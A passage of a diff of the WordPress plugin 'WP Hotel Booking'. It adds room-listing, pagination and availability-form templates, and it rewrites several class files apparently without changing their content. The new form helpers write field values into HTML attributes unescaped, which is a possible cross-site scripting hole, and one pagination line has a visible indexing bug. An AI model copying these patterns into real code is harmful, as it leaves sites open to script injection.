+				'rooms'               => Template::combine_components( $section_rooms ),
+				'archive_content_end' => '</div>',
+			),
+			$rooms,
+			$atts
+		);
+
+		$content = Template::combine_components( $section );
+
+		return $content;
+	}
+
+	/**
+	 * Pagination
+	 * support pagination number
+	 * any support other type pagination add here
+	 *
+	 * @param array $data
+	 *
+	 * @return string
+	 */
+	public function html_pagination( array $data = array() ): string {
+		if ( empty( $data['total_pages'] ) || $data['total_pages'] <= 1 ) {
+			return '';
+		}
+
+		$html_wrapper = array(
+			' <nav class="rooms-pagination">' => '</nav>',
+		);
+
+		$pagination = paginate_links(
+			apply_filters(
+				'hb_pagination_args',
+				array(
+					'base'      => esc_url_raw( str_replace( 999999999, '%#%', get_pagenum_link( 999999999, false ) ) ),
+					'format'    => '',
+					'add_args'  => '',
+					'current'   => max( 1, $data['paged'] ?? 1 ),
+					'total'     => $data[ 'total_pages' ?? 1 ],
+					'prev_text' => __( 'Previous', 'wp-hotel-booking' ),
+					'next_text' => __( 'Next', 'wp-hotel-booking' ),
+					'type'      => 'list',
+					'end_size'  => 3,
+					'mid_size'  => 3,
+				)
+			)
+		);
+
+		return Template::instance()->nest_elements( $html_wrapper, $pagination );
+	}
+
+	public function check_room_availability( $atts ) {
+		$title          = sprintf( '<h3>%s</h3>', __( 'Check availability', 'wp-hotel-booking' ) );
+		$check_in_date  = hb_get_request( 'check_in_date', date( 'Y/m/d' ) );
+		$check_out_date = hb_get_request( 'check_out_date', date( 'Y/m/d', strtotime( '+1 day' ) ) );
+		$adults         = hb_get_request( 'adults', 1 );
+		$max_child      = hb_get_request( 'max_child', 0 );
+		$room_qty       = hb_get_request( 'room_qty', 1 );
+
+		$check_in_date_html  = $this->date_field( __( 'Check-in Date', 'wp-hotel-booking' ), 'check_in_date', $atts['check_in_date'] );
+		$check_out_date_html = $this->date_field( __( 'Check-out Date', 'wp-hotel-booking' ), 'check_out_date', $atts['check_out_date'] );
+		$adults_html         = $this->dropdown_selector(
+			__( 'Adults', 'wp-hotel-booking' ),
+			'adults_capacity',
+			$atts['adults']
+		);
+		$child_html          = $this->dropdown_selector(
+			__( 'Children', 'wp-hotel-booking' ),
+			'max_child',
+			$atts['max_child'],
+			0
+		);
+		$quantity_html       = $this->dropdown_selector(
+			__( 'Rooms', 'wp-hotel-booking' ),
+			'room_qty',
+			$atts['room_qty'],
+		);
+		$button_html         = sprintf( '<div class="hb-form-field-input"><button type="submit" class="rooms-check-avaibility">%s</button></div>', __( 'Check availability', 'wp-hotel-booking' ) );
+
+		$sections            = apply_filters(
+			'wbhb/layout/list-rooms/section/check-availability-form',
+			array(
+				'wrapper'         => '<div class="hotel-booking-rooms-search">',
+				'title'           => $title,
+				'form_start'      => '<form name="hb-search-form" class="hb-search-form hb-form-table" >',
+				'check_in_date'   => $check_in_date_html,
+				'check_out_date'  => $check_out_date_html,
+				'adults_capacity' => $adults_html,
+				'child_capacity'  => $child_html,
+				'quantity'        => $quantity_html,
+				'button_search'   => $button_html,
+				'form_end'        => '</form>',
+				'wrapper_end'     => '</div>',
+			),
+			$atts
+		);
+		return Template::combine_components( $sections );
+	}
+
+	public function date_field( $label = '', $name = '', $value = '' ) {
+		$label_html = sprintf( '<label>%s</label>', $label );
+		$input      = sprintf(
+			'<input type="text" name="%1$s" class="hb_input_date_check" value="%2$s" placeholder="%3$s" autocomplete="off"/>',
+			$name,
+			$value,
+			$label
+		);
+		$sections   = array(
+			'wrapper'     => '<div class="hb-form-field-input">',
+			'label'       => $label_html,
+			'input'       => $input,
+			'wrapper_end' => '</div>',
+		);
+		return Template::combine_components( $sections );
+	}
+
+	public function dropdown_selector( $label = '', $name = '', $value = 1, $min = 1 ) {
+
+		$label          = sprintf( '<label>%s</label>', $label );
+		$input_html     = sprintf(
+			'<div class="hb-form-field-input hb-input-field-number">
+		        <input type="number" step="1" min="%1$d" name="%2$s" value="%3$s" />
+		    </div>',
+		    $min, $name, $value
+		);
+		$nav_number_html = sprintf(
+			'<div class="hb-form-field-list nav-number-input-field">
+		        <span class="label">%s</span>
+		        <div class="number-box">
+		            <span class="number-icons hb-goDown"><i class="fa fa-minus"></i></span>
+		            <span class="hb-number-field-value">
+		            </span>
+		            <span class="number-icons hb-goUp"><i class="fa fa-plus"></i></span>
+		        </div>
+		    </div>',
+		    $label
+		);
+
+		$sections = apply_filters(
+			'wbhb/layout/list-rooms/check-availability-form/number-input',
+			array(
+				//sửa sang wrapper này để theme hiển thị dạng +/-
+				// 'wrapper'     => '<div class="hb-form-field hb-form-number hb-form-number-input">',
+				'wrapper'     => '<div class="hb-form-field hb-form-number">',
+				'label'       => $label,
+				'input'       => $input_html,
+				'nav_number'  => $nav_number_html,
+				'wrapper_end' => '</div>',
+			)
+		);
+
+		return Template::combine_components( $sections );
+	}
+}
--- a/wp-hotel-booking/includes/TemplateHooks/SingleRoomExternalLinkTemplate.php
+++ b/wp-hotel-booking/includes/TemplateHooks/SingleRoomExternalLinkTemplate.php
@@ -1,98 +1,98 @@
-<?php
-namespace WPHBTemplateHooks;
-
-use Exception;
-use WPHB_Settings;
-use WPHBHelpersSingleton;
-use WPHBHelpersTemplate;
-/**
- * SingleRoomExternalLinkTemplate
- */
-class SingleRoomExternalLinkTemplate {
-	use Singleton;
-
-	public function init() {
-		add_action( 'hotel_booking_single_room_after_booking_form', array( $this, 'layout' ) );
-	}
-
-	public function layout( $room ) {
-		try {
-			if ( ! $room ) {
-				return;
-			}
-
-			$hb_extenal_link_settings = WPHB_Settings::instance()->get( 'external_link_settings' );
-
-			$setting_fields   = ! empty( $hb_extenal_link_settings ) ? json_decode( $hb_extenal_link_settings, true ) : array();
-			// check external link global settings
-			if ( empty( $setting_fields ) ) {
-				return;
-			}
-
-			$room_id = $room->ID;
-			$external_links = get_post_meta( $room_id, '_hb_room_external_link', true );
-			$external_links = ! empty( $external_links ) ? json_decode( $external_links, true ) : array();
-			// check room external link settings
-			if ( empty( $external_links ) ) {
-				return;
-			}
-			$show = false;
-			foreach( $external_links as $field_id => $field ) {
-				if ( $field['enabled'] ) {
-					$show = true;
-					break;
-				}
-			}
-			if ( ! $show ) {
-				return;
-			}
-
-			$title = sprintf( '<p>%s</p>', __( 'Reserve via our trusted partner', 'wp-hotel-booking' ) );
-			$external_link_html = $this->render_external_link( $room, $external_links, $setting_fields );
-
-			$sections      = array(
-				'wrap'     => '<div class="wphb-single-room-external-link">',
-				'title'    => $title,
-				'content'  => $external_link_html,
-				'wrap_end' => '</div>',
-			);
-
-			echo Template::combine_components( $sections );
-		} catch ( Exception $e ) {
-			echo 'Error: ' . $e->getMessage();
-		}
-	}
-
-	public function render_external_link( $room, $external_links = array(), $setting_fields = array() ) {
-		$external_link_html = '';
-		if ( ! empty( $setting_fields ) ) {
-			foreach ( $setting_fields as $field_id => $field ) {
-				if( ! isset( $external_links[ $field_id ] ) || ! $external_links[ $field_id ]['enabled'] ) {
-					continue;
-				}
-				$default_icon_url = WPHB_PLUGIN_URL . '/assets/images/icon-128x128.png';
-
-				$icon_id  = $field['icon_id'] ? $field['icon_id'] : 0;
-				$title    = $field['title'] ?: __( 'Wp hotel booking', 'wp-hotel-booking' );
-				$alt_text = (string) get_post_meta( $icon_id, '_wp_attachment_image_alt', true );
-				$icon_url = $field['icon_url'] ? $field['icon_url'] : $default_icon_url;
-				$external_link = $external_links[ $field_id ]['external_link'] ? $external_links[ $field_id ]['external_link'] : $field['external_link'];
-				$external_link_html .= sprintf( '
-					<li>
-				    <a href="%1$s" target="_blank" rel="noopener noreferrer" title="%2$s">
-				      <img src="%3$s"
-				           alt="%4$s"
-				           size="50" height="50" width="50"/>
-				    </a>
-				  </li>', esc_url( $external_link ), $title, esc_url( $icon_url ), $alt_text );
-			}
-		}
-		$sections = array(
-			'wrap' => '<ul class="wphb-partner-links">',
-			'links' => $external_link_html,
-			'wrap_end' => '</ul>',
-		);
-		return Template::combine_components( $sections );
-	}
-}
+<?php
+namespace WPHBTemplateHooks;
+
+use Exception;
+use WPHB_Settings;
+use WPHBHelpersSingleton;
+use WPHBHelpersTemplate;
+/**
+ * SingleRoomExternalLinkTemplate
+ */
+class SingleRoomExternalLinkTemplate {
+	use Singleton;
+
+	public function init() {
+		add_action( 'hotel_booking_single_room_after_booking_form', array( $this, 'layout' ) );
+	}
+
+	public function layout( $room ) {
+		try {
+			if ( ! $room ) {
+				return;
+			}
+
+			$hb_extenal_link_settings = WPHB_Settings::instance()->get( 'external_link_settings' );
+
+			$setting_fields   = ! empty( $hb_extenal_link_settings ) ? json_decode( $hb_extenal_link_settings, true ) : array();
+			// check external link global settings
+			if ( empty( $setting_fields ) ) {
+				return;
+			}
+
+			$room_id = $room->ID;
+			$external_links = get_post_meta( $room_id, '_hb_room_external_link', true );
+			$external_links = ! empty( $external_links ) ? json_decode( $external_links, true ) : array();
+			// check room external link settings
+			if ( empty( $external_links ) ) {
+				return;
+			}
+			$show = false;
+			foreach( $external_links as $field_id => $field ) {
+				if ( $field['enabled'] ) {
+					$show = true;
+					break;
+				}
+			}
+			if ( ! $show ) {
+				return;
+			}
+
+			$title = sprintf( '<p>%s</p>', __( 'Reserve via our trusted partner', 'wp-hotel-booking' ) );
+			$external_link_html = $this->render_external_link( $room, $external_links, $setting_fields );
+
+			$sections      = array(
+				'wrap'     => '<div class="wphb-single-room-external-link">',
+				'title'    => $title,
+				'content'  => $external_link_html,
+				'wrap_end' => '</div>',
+			);
+
+			echo Template::combine_components( $sections );
+		} catch ( Exception $e ) {
+			echo 'Error: ' . $e->getMessage();
+		}
+	}
+
+	public function render_external_link( $room, $external_links = array(), $setting_fields = array() ) {
+		$external_link_html = '';
+		if ( ! empty( $setting_fields ) ) {
+			foreach ( $setting_fields as $field_id => $field ) {
+				if( ! isset( $external_links[ $field_id ] ) || ! $external_links[ $field_id ]['enabled'] ) {
+					continue;
+				}
+				$default_icon_url = WPHB_PLUGIN_URL . '/assets/images/icon-128x128.png';
+
+				$icon_id  = $field['icon_id'] ? $field['icon_id'] : 0;
+				$title    = $field['title'] ?: __( 'Wp hotel booking', 'wp-hotel-booking' );
+				$alt_text = (string) get_post_meta( $icon_id, '_wp_attachment_image_alt', true );
+				$icon_url = $field['icon_url'] ? $field['icon_url'] : $default_icon_url;
+				$external_link = $external_links[ $field_id ]['external_link'] ? $external_links[ $field_id ]['external_link'] : $field['external_link'];
+				$external_link_html .= sprintf( '
+					<li>
+				    <a href="%1$s" target="_blank" rel="noopener noreferrer" title="%2$s">
+				      <img src="%3$s"
+				           alt="%4$s"
+				           size="50" height="50" width="50"/>
+				    </a>
+				  </li>', esc_url( $external_link ), $title, esc_url( $icon_url ), $alt_text );
+			}
+		}
+		$sections = array(
+			'wrap' => '<ul class="wphb-partner-links">',
+			'links' => $external_link_html,
+			'wrap_end' => '</ul>',
+		);
+		return Template::combine_components( $sections );
+	}
+}
  ?>
 No newline at end of file
--- a/wp-hotel-booking/includes/abstracts/class-wphb-abstract-block-template.php
+++ b/wp-hotel-booking/includes/abstracts/class-wphb-abstract-block-template.php
@@ -1,65 +1,65 @@
-<?php
-
-/**
- * AbstractBlockTemplate class.
- *
- * View woocommerce/packages/woocommerce-blocks/src/BlockTypes/AbstractBlock.php
- */
-abstract class AbstractBlockTemplate extends WP_Block_Template {
-	public $theme = 'wp-hotel-booking/wp-hotel-booking';
-	public $type  = 'wp_template';
-	/**
-	 * @var string name of the block
-	 */
-	public $name                          = '';
-	public $origin                        = 'plugin';
-	public $source                        = 'plugin'; // plugin|custom|theme, if custom save on db will be use 'custom'.
-	public $content                       = ''; // Set content will be show on edit block and the frontend.
-	public $has_theme_file                = true;
-	public $is_custom                     = false;
-	public $path_html_block_template_file = '';
-	/**
-	 * @var bool|string path of the file block.json metadata.
-	 */
-	public $inner_block = false;
-
-	public function __construct() {
-		if ( ! wp_is_block_theme() ) {
-			$this->has_theme_file = false;
-			return;
-		}
-		$this->id      = $this->theme . '//' . $this->slug;
-		$template_file = '';
-
-		if ( ! empty( $this->path_html_block_template_file ) ) {
-			$template_file = hb_locate_template( $this->path_html_block_template_file, '', WPHB_PLUGIN_PATH . '/block-templates/' );
-		}
-		// Set content from theme file.
-		if ( realpath( $template_file ) && file_exists( $template_file ) ) {
-			$content = file_get_contents( $template_file );
-			// $this->content = _inject_theme_attribute_in_block_template_content( $content );
-			if ( version_compare( get_bloginfo( 'version' ), '6.4-beta', '>=' ) ) {
-				$this->content = traverse_and_serialize_blocks( parse_blocks( $content ) );
-			} else {
-				$this->content = _inject_theme_attribute_in_block_template_content( $content );
-			}
-		}
-	}
-
-	/**
-	 * Render content of block tag
-	 *
-	 * @param array $attributes | Attributes of block tag.
-	 *
-	 * @return false|string
-	 */
-	public function render_content_block_template( array $attributes ) {
-		ob_start();
-
-		if ( isset( $attributes['template'] ) ) {
-			hb_get_template( $attributes['template'] );
-		}
-
-		return ob_get_clean();
-	}
-}
+<?php
+
+/**
+ * AbstractBlockTemplate class.
+ *
+ * View woocommerce/packages/woocommerce-blocks/src/BlockTypes/AbstractBlock.php
+ */
+abstract class AbstractBlockTemplate extends WP_Block_Template {
+	public $theme = 'wp-hotel-booking/wp-hotel-booking';
+	public $type  = 'wp_template';
+	/**
+	 * @var string name of the block
+	 */
+	public $name                          = '';
+	public $origin                        = 'plugin';
+	public $source                        = 'plugin'; // plugin|custom|theme, if custom save on db will be use 'custom'.
+	public $content                       = ''; // Set content will be show on edit block and the frontend.
+	public $has_theme_file                = true;
+	public $is_custom                     = false;
+	public $path_html_block_template_file = '';
+	/**
+	 * @var bool|string path of the file block.json metadata.
+	 */
+	public $inner_block = false;
+
+	public function __construct() {
+		if ( ! wp_is_block_theme() ) {
+			$this->has_theme_file = false;
+			return;
+		}
+		$this->id      = $this->theme . '//' . $this->slug;
+		$template_file = '';
+
+		if ( ! empty( $this->path_html_block_template_file ) ) {
+			$template_file = hb_locate_template( $this->path_html_block_template_file, '', WPHB_PLUGIN_PATH . '/block-templates/' );
+		}
+		// Set content from theme file.
+		if ( realpath( $template_file ) && file_exists( $template_file ) ) {
+			$content = file_get_contents( $template_file );
+			// $this->content = _inject_theme_attribute_in_block_template_content( $content );
+			if ( version_compare( get_bloginfo( 'version' ), '6.4-beta', '>=' ) ) {
+				$this->content = traverse_and_serialize_blocks( parse_blocks( $content ) );
+			} else {
+				$this->content = _inject_theme_attribute_in_block_template_content( $content );
+			}
+		}
+	}
+
+	/**
+	 * Render content of block tag
+	 *
+	 * @param array $attributes | Attributes of block tag.
+	 *
+	 * @return false|string
+	 */
+	public function render_content_block_template( array $attributes ) {
+		ob_start();
+
+		if ( isset( $attributes['template'] ) ) {
+			hb_get_template( $attributes['template'] );
+		}
+
+		return ob_get_clean();
+	}
+}
--- a/wp-hotel-booking/includes/abstracts/class-wphb-abstract-rest-api.php
+++ b/wp-hotel-booking/includes/abstracts/class-wphb-abstract-rest-api.php
@@ -1,79 +1,79 @@
-<?php
-
-/**
- * Class WPHB_API_Base
- *
- * Base class for api
- *
- * @since 1.10.6
- */
-abstract class WPHB_Abstract_API {
-	/**
-	 * @var string
-	 */
-	public $version = 'v1';
-
-	/**
-	 * @var string
-	 */
-	public $endpoint = '';
-
-	/**
-	 * @var WC_REST_Controller[]|string[]
-	 */
-	public $controllers = array();
-
-	/**
-	 * WPHB_Abstract_API constructor.
-	 */
-	public function __construct() {
-		$this->rest_api_init();
-	}
-
-	/**
-	 * Init REST.
-	 *
-	 * @since 1.10.6
-	 */
-	public function rest_api_init() {
-		if ( ! class_exists( 'WP_REST_Server' ) ) {
-			return;
-		}
-
-		$this->rest_api_includes();
-
-		add_action( 'rest_api_init', array( $this, 'rest_api_register_routes' ), 10 );
-	}
-
-	public function rest_api_includes() {
-		include_once WPHB_PLUGIN_PATH . '/includes/rest-api/class-wphb-rest-authentication.php';
-	}
-
-	/**
-	 * Register routes
-	 *
-	 * @since 1.10.6
-	 */
-	public function rest_api_register_routes() {
-
-		if ( ! $this->controllers ) {
-			return;
-		}
-
-		$controllers = array();
-
-		foreach ( $this->controllers as $name => $controller ) {
-
-			if ( is_string( $controller ) ) {
-				$name                 = $controller;
-				$controllers[ $name ] = new $controller();
-			} else {
-				$controllers[ $name ] = $controller;
-			}
-
-			$controllers[ $name ]->register_routes();
-		}
-
-		$this->controllers = $controllers;
-	}
-}
+<?php
+
+/**
+ * Class WPHB_API_Base
+ *
+ * Base class for api
+ *
+ * @since 1.10.6
+ */
+abstract class WPHB_Abstract_API {
+	/**
+	 * @var string
+	 */
+	public $version = 'v1';
+
+	/**
+	 * @var string
+	 */
+	public $endpoint = '';
+
+	/**
+	 * @var WC_REST_Controller[]|string[]
+	 */
+	public $controllers = array();
+
+	/**
+	 * WPHB_Abstract_API constructor.
+	 */
+	public function __construct() {
+		$this->rest_api_init();
+	}
+
+	/**
+	 * Init REST.
+	 *
+	 * @since 1.10.6
+	 */
+	public function rest_api_init() {
+		if ( ! class_exists( 'WP_REST_Server' ) ) {
+			return;
+		}
+
+		$this->rest_api_includes();
+
+		add_action( 'rest_api_init', array( $this, 'rest_api_register_routes' ), 10 );
+	}
+
+	public function rest_api_includes() {
+		include_once WPHB_PLUGIN_PATH . '/includes/rest-api/class-wphb-rest-authentication.php';
+	}
+
+	/**
+	 * Register routes
+	 *
+	 * @since 1.10.6
+	 */
+	public function rest_api_register_routes() {
+
+		if ( ! $this->controllers ) {
+			return;
+		}
+
+		$controllers = array();
+
+		foreach ( $this->controllers as $name => $controller ) {
+
+			if ( is_string( $controller ) ) {
+				$name                 = $controller;
+				$controllers[ $name ] = new $controller();
+			} else {
+				$controllers[ $name ] = $controller;
+			}
+
+			$controllers[ $name ]->register_routes();
+		}
+
+		$this->controllers = $controllers;
+	}
+}
--- a/wp-hotel-booking/includes/abstracts/class-wphb-abstract-rest-controller.php
+++ b/wp-hotel-booking/includes/abstracts/class-wphb-abstract-rest-controller.php
@@ -1,66 +1,66 @@
-<?php
-
-/**
- * Class WPHB_Abstract_REST_Controller
- */
-class WPHB_Abstract_REST_Controller extends WP_REST_Controller {
-
-	/**
-	 * @var string
-	 */
-	public $namespace = 'wphb/v1';
-
-	/**
-	 * @var string
-	 */
-	public $rest_base = '';
-
-	/**
-	 * @var array
-	 */
-	public $routes = array();
-
-	public function __construct() {
-	}
-
-	/**
-	 * Register routes for controller.
-	 */
-	public function register_routes() {
-
-		if ( ! $this->routes ) {
-			return;
-		}
-
-		foreach ( $this->routes as $key => $args ) {
-			$rest_base = $this->rest_base;
-			$override  = false;
-
-			if ( is_bool( end( $args ) ) ) {
-				$override = array_pop( $args );
-			}
-
-			if ( ! is_numeric( $key ) ) {
-				$rest_base = "{$rest_base}/{$key}";
-			}
-
-			register_rest_route( $this->namespace, '/' . $rest_base, $args, $override );
-		}
-	}
-
-	public function ensure_response( $data ) {
-		add_filter( 'rest_pre_serve_request', array( $this, 'print_response' ), 10, 4 );
-
-		return rest_ensure_response( $data );
-	}
-
-	/**
-	 * @param boolean          $false
-	 * @param WP_REST_Response $result
-	 * @param WP_REST_Request  $request
-	 * @param WP_REST_Server   $server
-	 */
-	public function print_response( $false, $result, $request, $server ) {
-		hb_send_json( $result->get_data() );
-	}
-}
+<?php
+
+/**
+ * Class WPHB_Abstract_REST_Controller
+ */
+class WPHB_Abstract_REST_Controller extends WP_REST_Controller {
+
+	/**
+	 * @var string
+	 */
+	public $namespace = 'wphb/v1';
+
+	/**
+	 * @var string
+	 */
+	public $rest_base = '';
+
+	/**
+	 * @var array
+	 */
+	public $routes = array();
+
+	public function __construct() {
+	}
+
+	/**
+	 * Register routes for controller.
+	 */
+	public function register_routes() {
+
+		if ( ! $this->routes ) {
+			return;
+		}
+
+		foreach ( $this->routes as $key => $args ) {
+			$rest_base = $this->rest_base;
+			$override  = false;
+
+			if ( is_bool( end( $args ) ) ) {
+				$override = array_pop( $args );
+			}
+
+			if ( ! is_numeric( $key ) ) {
+				$rest_base = "{$rest_base}/{$key}";
+			}
+
+			register_rest_route( $this->namespace, '/' . $rest_base, $args, $override );
+		}
+	}
+
+	public function ensure_response( $data ) {
+		add_filter( 'rest_pre_serve_request', array( $this, 'print_response' ), 10, 4 );
+
+		return rest_ensure_response( $data );
+	}
+
+	/**
+	 * @param boolean          $false
+	 * @param WP_REST_Response $result
+	 * @param WP_REST_Request  $request
+	 * @param WP_REST_Server   $server
+	 */
+	public function print_response( $false, $result, $request, $server ) {
+		hb_send_json( $result->get_data() );
+	}
+}
--- a/wp-hotel-booking/includes/abstracts/class-wphb-abstract-tool.php
+++ b/wp-hotel-booking/includes/abstracts/class-wphb-abstract-tool.php
@@ -1,66 +1,66 @@
-<?php
-/**
- * Abstract WP Hotel Booking admin tool class.
- *
- * @class       WPHB_Abstract_Tool
- * @version     1.9.7.4
- * @package     WP_Hotel_Booking/Classes
- * @category    Abstract Class
- * @author      Thimpress, leehld
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit();
-
-if ( ! class_exists( 'WPHB_Abstract_Tool' ) ) {
-
-	/**
-	 * Class WPHB_Abstract_Tool.
-	 *
-	 * @since 2.0
-	 */
-	abstract class WPHB_Abstract_Tool {
-
-		/**
-		 * Setting tab id.
-		 *
-		 * @var null
-		 */
-		protected $id = null;
-
-		/**
-		 * Setting tab title.
-		 *
-		 * @var null
-		 */
-		protected $title = null;
-
-		/**
-		 * WPHB_Abstract_Tool constructor.
-		 */
-		public function __construct() {
-			add_filter( 'wphb/admin/tool-tabs', array( $this, 'tool_tabs' ) );
-			add_action( 'wphb/admin/tools-tab-' . $this->id, array( $this, 'output' ) );
-		}
-
-		/**
-		 * @param $tabs
-		 *
-		 * @return array
-		 */
-		public function tool_tabs( $tabs ) {
-			$tabs[ $this->id ] = $this->title;
-
-			return $tabs;
-		}
-
-		/**
-		 * Out tool tab.
-		 */
-		public function output() {
-			return;
-		}
-	}
-}
+<?php
+/**
+ * Abstract WP Hotel Booking admin tool class.
+ *
+ * @class       WPHB_Abstract_Tool
+ * @version     1.9.7.4
+ * @package     WP_Hotel_Booking/Classes
+ * @category    Abstract Class
+ * @author      Thimpress, leehld
+ */
+
+/**
+ * Prevent loading this file directly
+ */
+defined( 'ABSPATH' ) || exit();
+
+if ( ! class_exists( 'WPHB_Abstract_Tool' ) ) {
+
+	/**
+	 * Class WPHB_Abstract_Tool.
+	 *
+	 * @since 2.0
+	 */
+	abstract class WPHB_Abstract_Tool {
+
+		/**
+		 * Setting tab id.
+		 *
+		 * @var null
+		 */
+		protected $id = null;
+
+		/**
+		 * Setting tab title.
+		 *
+		 * @var null
+		 */
+		protected $title = null;
+
+		/**
+		 * WPHB_Abstract_Tool constructor.
+		 */
+		public function __construct() {
+			add_filter( 'wphb/admin/tool-tabs', array( $this, 'tool_tabs' ) );
+			add_action( 'wphb/admin/tools-tab-' . $this->id, array( $this, 'output' ) );
+		}
+
+		/**
+		 * @param $tabs
+		 *
+		 * @return array
+		 */
+		public function tool_tabs( $tabs ) {
+			$tabs[ $this->id ] = $this->title;
+
+			return $tabs;
+		}
+
+		/**
+		 * Out tool tab.
+		 */
+		public function output() {
+			return;
+		}
+	}
+}
--- a/wp-hotel-booking/includes/admin/class-wphb-admin-menu.php
+++ b/wp-hotel-booking/includes/admin/class-wphb-admin-menu.php
@@ -1,179 +1,179 @@
-<?php
-/**
- * WP Hotel Booking admin menu class.
- *
- * @class       WPHB_Admin_Menu
- * @version     1.9.7.4
- * @package     WP_Hotel_Booking/Classes
- * @category    Class
- * @author      Thimpress, leehld
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit;
-
-if ( ! class_exists( 'WPHB_Admin_Menu' ) ) {
-	/**
-	 * Class WPHB_Admin_Menu
-	 */
-	class WPHB_Admin_Menu {
-
-		/**
-		 * WPHB_Admin_Menu constructor.
-		 */
-		public function __construct() {
-			add_action( 'admin_menu', array( $this, 'register' ) );
-			add_action( 'admin_bar_menu', array( $this, 'admin_bar_menus' ), 50 );
-		}
-
-		/**
-		 * Register menu.
-		 */
-		public function register() {
-			add_menu_page(
-				__( 'WP Hotel Booking', 'wp-hotel-booking' ),
-				__( 'WP Hotel Booking', 'wp-hotel-booking' ),
-				'edit_hb_bookings',
-				'tp_hotel_booking',
-				'',
-				'dashicons-calendar',
-				'3.99'
-			);
-
-			$menu_items = array(
-				// do not use: minhpd 30-5-2022
-				// 'pricing_table' => array(
-				// 'tp_hotel_booking',
-				// __( 'Pricing Plans', 'wp-hotel-booking' ),
-				// __( 'Pricing Plans', 'wp-hotel-booking' ),
-				// 'manage_hb_booking',
-				// 'tp_hotel_booking_pricing',
-				// array( $this, 'pricing_table' )
-				// ),
-				'settings'         => array(
-					'tp_hotel_booking',
-					__( 'Settings', 'wp-hotel-booking' ),
-					__( 'Settings', 'wp-hotel-booking' ),
-					'manage_hb_booking',
-					'tp_hotel_booking_settings',
-					array( $this, 'settings_page' ),
-				),
-				'calendar_manager' => array(
-					'tp_hotel_booking',
-					__( 'Calendar Manager', 'wp-hotel-booking' ),
-					__( 'Calendar Manager', 'wp-hotel-booking' ),
-					'manage_hb_booking',
-					'tp_hotel_booking_calender_manager',
-					array( $this, 'calendar_manager' ),
-				),
-			);
-
-			// Third-party can be add more items
-			$menu_items = apply_filters( 'hotel_booking_menu_items', $menu_items );
-
-			if ( is_array( $menu_items ) ) {
-				$menu_items['tools'] = array(
-					'tp_hotel_booking',
-					__( 'Tools', 'wp-hotel-booking' ),
-					__( 'Tools', 'wp-hotel-booking' ),
-					'manage_hb_booking',
-					'wphb-tools',
-					array( $this, 'tools_page' ),
-				);
-			}
-
-			if ( $menu_items ) {
-				foreach ( $menu_items as $item ) {
-					call_user_func_array( 'add_submenu_page', $item );
-				}
-			}
-
-			// get user role
-			$user_roles = wp_get_current_user()->roles;
-
-			if ( $user_roles ) {
-				if ( $user_roles == array( 'wphb_booking_editor' ) || $user_roles == array( 'wphb_hotel_manager' ) ) {
-					remove_menu_page( 'edit.php' ); // Posts
-					remove_menu_page( 'upload.php' ); // Media
-					remove_menu_page( 'edit-comments.php' ); // Comments
-					remove_menu_page( 'tools.php' ); // Tools
-				}
-			}
-		}
-
-		/**
-		 * Settings page view.
-		 */
-		public function settings_page() {
-			WPHB_Admin_Settings::output();
-		}
-
-		/**
-		 * Calendar Manager
-		 */
-		public function calendar_manager() {
-			WP_Hotel_Booking::instance()->_include( 'includes/admin/views/calendar-manager.php' );
-		}
-
-		/**
-		 * Pricing table view.
-		 * do not use: minhpd 30-5-2022
-		 */
-		// public function pricing_table() {
-		// wp_enqueue_script( 'wp-util' );
-		// WP_Hotel_Booking::instance()->_include( 'includes/admin/views/pricing-table.php' );
-		// }
-
-		/**
-		 * Other settings view.
-		 */
-		public function other_settings() {
-			WP_Hotel_Booking::instance()->_include( 'includes/admin/views/settings/other_settings.php' );
-		}
-
-		/**
-		 * Tools page view.
-		 */
-		public function tools_page() {
-			WPHB_Admin_Tools::output();
-		}
-
-		/**
-		 * Added url Pages of LP.
-		 *
-		 * @param WP_Admin_Bar $wp_admin_bar
-		 *
-		 * @return void
-		 * @since 2.1.3
-		 * @version 1.0.0
-		 */
-		public function admin_bar_menus( $wp_admin_bar ) {
-			if ( ! current_user_can( 'administrator' ) ) {
-				return;
-			}
-
-			$url_pages = [
-				'wphb-rooms'     => [
-					'title'  => esc_html__( 'View Page Rooms', 'learnpress' ),
-					'href'   => get_permalink( hb_get_page_id( 'rooms' ) ),
-					'parent' => 'site-name',
-				],
-			];
-
-			foreach ( $url_pages as $id => $url_page ) {
-				$wp_admin_bar->add_node(
-					array(
-						'id'     => $id,
-						'parent' => $url_page['parent'] ?? 'appearance',
-						'title'  => sprintf( '<span class="ab-label">%s</span>', $url_page['title'] ),
-						'href'   => $url_page['href'],
-					)
-				);
-			}
-		}
-	}
-}
-
-new WPHB_Admin_Menu();
+<?php
+/**
+ * WP Hotel Booking admin menu class.
+ *
+ * @class       WPHB_Admin_Menu
+ * @version     1.9.7.4
+ * @package     WP_Hotel_Booking/Classes
+ * @category    Class
+ * @author      Thimpress, leehld
+ */
+
+/**
+ * Prevent loading this file directly
+ */
+defined( 'ABSPATH' ) || exit;
+
+if ( ! class_exists( 'WPHB_Admin_Menu' ) ) {
+	/**
+	 * Class WPHB_Admin_Menu
+	 */
+	class WPHB_Admin_Menu {
+
+		/**
+		 * WPHB_Admin_Menu constructor.
+		 */
+		public function __construct() {
+			add_action( 'admin_menu', array( $this, 'register' ) );
+			add_action( 'admin_bar_menu', array( $this, 'admin_bar_menus' ), 50 );
+		}
+
+		/**
+		 * Register menu.
+		 */
+		public function register() {
+			add_menu_page(
+				__( 'WP Hotel Booking', 'wp-hotel-booking' ),
+				__( 'WP Hotel Booking', 'wp-hotel-booking' ),
+				'edit_hb_bookings',
+				'tp_hotel_booking',
+				'',
+				'dashicons-calendar',
+				'3.99'
+			);
+
+			$menu_items = array(
+				// do not use: minhpd 30-5-2022
+				// 'pricing_table' => array(
+				// 'tp_hotel_booking',
+				// __( 'Pricing Plans', 'wp-hotel-booking' ),
+				// __( 'Pricing Plans', 'wp-hotel-booking' ),
+				// 'manage_hb_booking',
+				// 'tp_hotel_booking_pricing',
+				// array( $this, 'pricing_table' )
+				// ),
+				'settings'         => array(
+					'tp_hotel_booking',
+					__( 'Settings', 'wp-hotel-booking' ),
+					__( 'Settings', 'wp-hotel-booking' ),
+					'manage_hb_booking',
+					'tp_hotel_booking_settings',
+					array( $this, 'settings_page' ),
+				),
+				'calendar_manager' => array(
+					'tp_hotel_booking',
+					__( 'Calendar Manager', 'wp-hotel-booking' ),
+					__( 'Calendar Manager', 'wp-hotel-booking' ),
+					'manage_hb_booking',
+					'tp_hotel_booking_calender_manager',
+					array( $this, 'calendar_manager' ),
+				),
